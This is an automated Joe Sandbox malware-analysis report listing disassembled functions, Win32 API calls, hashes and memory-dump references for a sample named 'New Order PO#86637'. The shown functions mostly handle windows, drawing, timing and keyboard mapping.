
Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Variant$Copy$ClearErrorLast
String ID: NULL Pointer assignment$Not an Object type
API String ID: 2487901850-572801152
Opcode ID: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
Instruction ID: 7224d39ad4dd36db717bb7decd6d6f3456075e50b8db1d036073f09e8ed5fad7
Opcode Fuzzy Hash: bb0f7491a1d8fcb1a9e92f7a9394b8a60bc93380917bfa262315a66d62baea93
Instruction Fuzzy Hash: 70C1AFB1A00209ABDF14DF98C881FEEB7B9EB44304F10C55EE909AB341D7799D85CBA5

Function 00448804 Relevance: 9.1, APIs: 6, Instructions: 92windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F1,?,00000000), ref: 0044881F
EnableWindow.USER32(?,00000000), ref: 00448B5C
EnableWindow.USER32(?,00000001), ref: 00448B72
ShowWindow.USER32(?,00000000), ref: 00448BE8
ShowWindow.USER32(?,00000004), ref: 00448BF4
EnableWindow.USER32(?,00000001), ref: 00448C09

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Window$Enable$Show$MessageSend
String ID:
API String ID: 1871949834-0
Opcode ID: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
Instruction ID: ab733961f10eda6fa12bc0977b233c6b2b6736debfa9bed553c9f015fe8cd40e
Opcode Fuzzy Hash: 24295af7dc8a36502def6d29e9c9bc5dd9332af4054e76ab47d27171ed2ecc38
Instruction Fuzzy Hash: 6931B3B17443815BF7258E24CCC4BAFB7D0EB95345F08482EF58196291DBAC9845C75A

Function 00441078 Relevance: 9.1, APIs: 6, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
Instruction ID: c6101d665a98d140be62f029472ab7f8db1b0ce4c02a7c647e8453833b83309f
Opcode Fuzzy Hash: b4f5e70efc1acb4fe019c63046a51222323f6892fbde794835cc8a87d9f58231
Instruction Fuzzy Hash: 5F21B672204110ABEB108F699C85B6F7798EB49370F24463BF625C62E0DB74D8C1C76D

Function 00471A38 Relevance: 9.1, APIs: 6, Instructions: 79windowCOMMON

Download Yara Rule

APIs

ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00471A45
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001,?,00000000,?,00000001), ref: 00471A86
SendMessageW.USER32(?,00001303,00000000,00000000), ref: 00471AA8
ImageList_ReplaceIcon.COMCTL32(?,?,?,?,00000000,?,00000001), ref: 00471ABF
SendMessageW.USER32 ref: 00471AE3
DestroyIcon.USER32(?), ref: 00471AF4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Icon$ImageList_MessageSend$CreateDestroyExtractReplace
String ID:
API String ID: 3611059338-0
Opcode ID: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
Instruction ID: ff529b192773d28f9e5fe2f6f8d7a9043cb056f7fe4a3f7912da33dbd9270a4a
Opcode Fuzzy Hash: b0e439fc93c86aa425f752c0c26de9476ffc90f5fc0a1de8674fd8c7e7c0c220
Instruction Fuzzy Hash: FB21AB71600204AFEB10CF64DD85FAA73B5FF88700F10846EFA05AB290DBB4A9428B64

Function 00455616 Relevance: 9.1, APIs: 6, Instructions: 78windowCOMMON

Download Yara Rule

APIs

MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00455695
DestroyWindow.USER32(?), ref: 00455728
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DestroyWindow$DeleteObject$IconMove
String ID:
API String ID: 1640429340-0
Opcode ID: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
Instruction ID: 1af524ae86da71fe4f89171a472fc693caa25f853ed14bd6ff7d4c509651bbe6
Opcode Fuzzy Hash: a9e5de2d3b90f467c30d036e219f0746eef0d56afd734d018f8f78b53e6c5f41
Instruction Fuzzy Hash: C6311874200A41DFC710DF24D9D8B3A77E9FB48712F0445AAE946CB262D778E848CB69

Function 0044389A Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

Part of subcall function 00410160: _wcslen.LIBCMT ref: 00410162
Part of subcall function 00410160: _wcscpy.LIBCMT ref: 00410182

_wcslen.LIBCMT ref: 004438CD
_wcslen.LIBCMT ref: 004438E6
_wcstok.LIBCMT ref: 004438F8
_wcslen.LIBCMT ref: 0044390C
GetTextExtentPoint32W.GDI32(?,00000000,00000000,?), ref: 0044391A
_wcstok.LIBCMT ref: 00443931

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: _wcslen$_wcstok$ExtentPoint32Text_wcscpy
String ID:
API String ID: 3632110297-0
Opcode ID: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
Instruction ID: d12b8bce329459066c03420e1b0c57cf331e6d1a2def9435cce8fb2ce1fb425a
Opcode Fuzzy Hash: 5ca99eab14a2200aefa90245e429ddeb3cf04e0f88646427c0d38f27a71423b2
Instruction Fuzzy Hash: 9621B072900305ABDB10AF559C82AAFB7F8FF48711F64482EF95993301E678EA5087A5

Function 00455168 Relevance: 9.1, APIs: 6, Instructions: 75windowCOMMON

Download Yara Rule

APIs

DestroyMenu.USER32(?), ref: 004551D4
DestroyMenu.USER32(?), ref: 004551EA
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$DeleteMenuObject$IconWindow
String ID:
API String ID: 752480666-0
Opcode ID: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
Instruction ID: 7b220c8407ffc283b2c26cc65a644285b0b18e1ed163c7e0472fb9f2b18bc557
Opcode Fuzzy Hash: 877022e28911037ff8e4029beee24c6714a8c165e8bca7c16b59b5f39fc2e0c5
Instruction Fuzzy Hash: B7215970600A01DFD714DF29D9E8B3A7BA9BF49312F04855AE8468B352C738EC89CB59

Function 004552FA Relevance: 9.1, APIs: 6, Instructions: 72windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00455362
ImageList_Destroy.COMCTL32(?), ref: 00455374
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconImageList_
String ID:
API String ID: 3275902921-0
Opcode ID: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
Instruction ID: 11d86efc281b6c380d974b68bd8b9632be9d9c574e85584f431c859402bfc888
Opcode Fuzzy Hash: bee8e7950a17a017ef8c4c424090cfe506cbffc57fc41e64353b46a851298919
Instruction Fuzzy Hash: 9C217C70200A01DFC714DF39D998A6AB7E4BF49311F10862EE959C7392D778D845CB58

Function 004556C8 Relevance: 9.1, APIs: 6, Instructions: 67windowCOMMON

Download Yara Rule

APIs

ImageList_Destroy.COMCTL32(?), ref: 004556D0
DestroyWindow.USER32(?), ref: 00455728
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Destroy$DeleteObjectWindow$IconImageList_
String ID:
API String ID: 3275902921-0
Opcode ID: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
Instruction ID: f2615e71845bffb995fe2c2b9381f89f67980fa6d4eb7dd8f13843e5971e4781
Opcode Fuzzy Hash: ef392be253363c3276fd2682622d0856bd6baec92828374cdc4114f01cb4ab17
Instruction Fuzzy Hash: 54213D70200A01DFD710EF25D9D4A2B37E9BF49312F10896EE945CB352D739D845CB69

Function 004331A2 Relevance: 9.1, APIs: 6, Instructions: 64sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331B9
QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331D4
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331DE
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331E6
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,004A8178), ref: 004331F0

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
Instruction ID: f8c058edd9890a080c9b5d5c764251204f1987641da473bf5ecf7e3e358c806a
Opcode Fuzzy Hash: 454a0f1f7a5b9dabfe1a5840f9ecaff855ca9224c6d53cc9b14a46810094a05c
Instruction Fuzzy Hash: 1911B632D0011DABCF00DFD9EA489EEB778FF49722F1145AAED04A6204DB755A01CBA4

Function 0045559F Relevance: 9.1, APIs: 6, Instructions: 61windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 004555C7
SendMessageW.USER32(?,00001008,00000000,00000000), ref: 004555E2
DeleteObject.GDI32(?), ref: 00455736
DeleteObject.GDI32(?), ref: 00455744
DestroyIcon.USER32(?), ref: 00455752
DestroyWindow.USER32(?), ref: 00455760

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: DeleteDestroyMessageObjectSend$IconWindow
String ID:
API String ID: 3691411573-0
Opcode ID: da631fe096052ef5bd48ea011818ab2276afcb1e35ba95b92101ff2cabc01c83
Instruction ID: ee39a3c17b45488341a0d6beee4a1abd3419bb98b1a9b0cd73eda499273a4889
Opcode Fuzzy Hash: da631fe096052ef5bd48ea011818ab2276afcb1e35ba95b92101ff2cabc01c83
Instruction Fuzzy Hash: C011B6B12047419BC710DF65EDC8A2A77A8BF18322F10066AFD50DB2D2D779D849C729

Function 00447275 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266

MoveToEx.GDI32(?,?,?,00000000), ref: 004472A0
LineTo.GDI32(?,?,?), ref: 004472AC
MoveToEx.GDI32(?,?,?,00000000), ref: 004472BA
LineTo.GDI32(?,?,?), ref: 004472C6
EndPath.GDI32(?), ref: 004472D6
StrokePath.GDI32(?), ref: 004472E4

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: ObjectPath$LineMoveSelect$BeginCreateDeleteStroke
String ID:
API String ID: 372113273-0
Opcode ID: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
Instruction ID: 9972a7b2ea06d4c5ad2b855a17b8a9a0d98d12ec42d2644493c4a69bc6448ed6
Opcode Fuzzy Hash: 31eeda2ce056db83d926a779f5beead5a54a2e657b8e2367e9d837ae160c277d
Instruction Fuzzy Hash: 7701BC76101214BBE3119B44ED8DFDF7B6CEF4A710F104259FA01A629187F42A02CBBD

Function 0044CC51 Relevance: 9.0, APIs: 6, Instructions: 50COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0044CC6D
GetDeviceCaps.GDI32(00000000,00000058), ref: 0044CC78
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0044CC84
ReleaseDC.USER32(00000000,00000000), ref: 0044CC90
MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCA8
MulDiv.KERNEL32(000009EC,?,?), ref: 0044CCB9

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
Instruction ID: 48d0fedbc9b5ed1f8cca1220e36c4d83aa6571d18a2c693a8c9b468b660f0fbb
Opcode Fuzzy Hash: 30463c625ccaefc53399fcb5a1d51c2b4aa5fdcbff3641f1d403fc7908ff7e54
Instruction Fuzzy Hash: 60015276240214BFFB009F95DD89F5A7BACFF54751F14802EFF089B240D6B098008BA4

Function 00417082 Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041708E

Part of subcall function 00417A69: __getptd_noexit.LIBCMT ref: 00417A6C
Part of subcall function 00417A69: __amsg_exit.LIBCMT ref: 00417A79

__amsg_exit.LIBCMT ref: 004170AE
__lock.LIBCMT ref: 004170BE
InterlockedDecrement.KERNEL32(?), ref: 004170DB
_free.LIBCMT ref: 004170EE
InterlockedIncrement.KERNEL32(009E2D10), ref: 00417106

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID:
API String ID: 3470314060-0
Opcode ID: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
Instruction ID: d92c7102fc6d098775a0f5363b9b5483e5b10d08a1c29475ed017091780ded1e
Opcode Fuzzy Hash: 80714434994c9102abdbbcfc383ede657addd51ae4f203e3d2298efcf25a3187
Instruction Fuzzy Hash: 3301AD32905711ABC721ABA698497DE7BB0AB04724F15416BF950A7381CB3CAAC1CFDD

Function 0044B63B Relevance: 9.0, APIs: 6, Instructions: 40synchronizationthreadCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 0044B655
EnterCriticalSection.KERNEL32(?), ref: 0044B666
TerminateThread.KERNEL32(?,000001F6), ref: 0044B674
WaitForSingleObject.KERNEL32(?,000003E8,?,000001F6), ref: 0044B682

Part of subcall function 00432614: CloseHandle.KERNEL32(00000000,00000000,?,0044B68E,00000000,?,000003E8,?,000001F6), ref: 00432622

InterlockedExchange.KERNEL32(?,000001F6), ref: 0044B697
LeaveCriticalSection.KERNEL32(?), ref: 0044B69E

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
Instruction ID: c0d5b59c8b9084ef0a5212f46b36de0b3fb5a8468090cd03c061fc2099eb7203
Opcode Fuzzy Hash: 80b6dccbd1e5d9cd8e45b8a26e63ab1859993381d971fdb3943588aa16a91346
Instruction Fuzzy Hash: A8F0AF72141201BBD210AB64EE8CDAFB77CFF88311F40092AFA0192560CBB4E420CBB6

Function 00410AB0 Relevance: 9.0, APIs: 6, Instructions: 40keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00410AE8
MapVirtualKeyW.USER32(00000010,00000000), ref: 00410AF0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00410AFB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00410B06
MapVirtualKeyW.USER32(00000011,00000000), ref: 00410B0E
MapVirtualKeyW.USER32(00000012,00000000), ref: 00410B16

Memory Dump Source

Source File: 00000000.00000002.2084277614.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2084254542.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084325380.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084367860.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084407519.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084457901.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2084487119.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_New Order PO#86637.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
Instruction ID: ec5b0e47a8727e2ef01e8325cfcf1e1c5a721ad9102a6d662b709b351e7b749c
Opcode Fuzzy Hash: c23d3b718cf4e8061cd741903dec6eccba5b4b0418601ad509713896de31bf0c
